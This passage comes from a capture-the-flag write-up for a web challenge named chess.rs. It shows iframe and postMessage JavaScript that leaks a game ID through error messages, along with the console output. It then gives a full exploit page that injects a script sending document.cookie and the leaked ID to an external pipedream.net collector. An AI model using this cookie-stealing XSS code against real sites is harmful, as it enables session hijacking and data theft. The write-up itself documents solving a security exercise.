<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w KQkq'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">' - 0 1'</span><span class="p">,</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">'ready'</span><span class="p">)</span><span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div>
<p>Then we discovered 5 more bytes.</p>
<p><strong>13/16</strong></p>
<div class="highlight"><pre><span></span><code><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">;</span>
<span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w KQkq - 0 1'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'create'</span><span class="p">);</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w KQkq'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x7</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x38</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">' - 0 1'</span><span class="p">,</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w KQkq'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span><span class="o">+</span><span class="s1">' - 0 1'</span><span class="p">,</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w -'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">'- 0 1'</span><span class="p">,</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
</code></pre></div>
<p>At this point we realized that the remaining 3 characters only results in about 200k (62^3) permutations, so we tried to brute force it. Our brute force script took about 10 seconds, but after creating a ticket and asking how long the adminbot stays on the site, we received the answer that exploit must take no more than 5 seconds, which made this approach impossible. Therefore we proceeded in trying to leak more bytes. </p>
<p><strong>15/16</strong></p>
<div class="highlight"><pre><span></span><code><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">),</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'create'</span><span class="p">);</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x60</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0xc</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x1d</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
<span class="p">},</span><span class="w"> </span><span class="mf">500</span><span class="p">);</span>
</code></pre></div>
<p>This created the output:</p>
<div class="highlight"><pre><span></span><code>{id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "xzro2tXK\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
moves: [],
},
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "_____________________________aWe38xzro2",
moves: [],
},
}' already exists
index.js:18 The game 'EngineState {
game: Game {
start_type: Fen,
start: "________________________:\"Ot\u{13}\0\0\00x6fe1b",
moves: [],
},
}' already exists
index.js:84 Ot aWe38xzro2tXK
</code></pre></div>
<p>As you can see different bytes of the original game id are leaked in every error message.</p>
<blockquote>
<p>Authors Note:</p>
<p>Even though this exploit code doesn't seem overly complicated it took multiple hours of trial and error to create it.</p>
</blockquote>
<h3>7 Stages of Grief</h3>
<p>After seemingly combing all components we created our first possible solution for the challenge. But we soon hit a roadblock.</p>
<p><em>index.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">title</span><span class="p">></span>chess.rs exploit<span class="p"></</span><span class="nt">title</span><span class="p">></span>
<span class="p"></</span><span class="nt">head</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"https://chessrs.mc.ax/index.html"</span> <span class="na">id</span><span class="o">=</span><span class="s">"index"</span> <span class="na">width</span><span class="o">=</span><span class="s">"2000px"</span> <span class="na">height</span><span class="o">=</span><span class="s">"1000px"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span> <span class="na">type</span><span class="o">=</span><span class="s">"module"</span> <span class="na">src</span><span class="o">=</span><span class="s">"/js/index.js"</span><span class="p">></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p><em>js/index.js</em></p>
<div class="highlight"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">delay</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="p">));</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">alphabet</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">'index'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://chessrs.mc.ax/"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be2'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be3'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be4'</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'PWN'</span><span class="p">);</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="nx">nmb</span><span class="p">){</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nmb</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="s2">" "</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">source</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">){</span>
<span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">;</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x3</span><span class="p">),</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">)</span>
<span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'create'</span><span class="p">);</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x60</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="o">+</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0xc</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x1d</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="nx">ws</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span><span class="nx">id</span><span class="o">:</span><span class="nx">id2</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">delay</span><span class="p">(</span><span class="mf">50</span><span class="p">);</span>
<span class="w"> </span><span class="p">}).</span><span class="nx">then</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">);</span>
<span class="w"> </span><span class="nx">fetch</span><span class="p">(</span><span class="sb">`https://en3kdn8ehra43.x.pipedream.net/?</span><span class="si">${</span><span class="nx">leaked_id</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">alphabet</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">2</span><span class="p">).</span><span class="nx">concat</span><span class="p">(</span><span class="nx">alphabet</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">3</span><span class="p">));</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="w"> </span><span class="nx">id</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="s2">"<script>fetch(`https://en3kdn8ehra43.x.pipedream.net/?${document.cookie}`);</script>"</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">'ready'</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">'error'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">82</span><span class="p">,</span><span class="mf">8</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">8</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">111</span><span class="p">,</span><span class="mf">5</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">leaked_id</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="mf">13</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">leaked_id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="mf">109</span><span class="p">,</span><span class="mf">2</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">' '</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">leaked_id</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">//index.postMessage(e.data, origin);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div>
<p>After trying to extract cookies with this script we soon came to realize that only <code>Same-Site: None</code> could be extracted by this method, not the default <code>Same-Site: Lax</code>.</p>
<p><a href="https://youtu.be/Tim5nU3DwIE?t=18">Noooooooooooooooooooooo.mp3</a></p>
<p>Thinking that there is no other way to create an exploit interface we decided to create a ticket an ask if there might be a problem with the adminbot and if this was the intended solution.</p>
<blockquote>
<p>Authors Note:</p>
<p>After this setback, we decided to call it for tonight because we had already spent about 15 hours on this challenge and were close to collapsing. </p>
</blockquote>
<h3>adminbot-test.js</h3>
<p>Our bargain the day befoire resulted in the release of <code>adminbot-test.js</code> which provided us with important information.</p>
<div class="highlight"><pre><span></span><code><span class="c1">// npm i puppeteer</span>
<span class="c1">// script to emulate admin bot</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">puppeteer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s2">"puppeteer"</span><span class="p">);</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">FLAG</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"flag{test_flag}"</span><span class="p">;</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
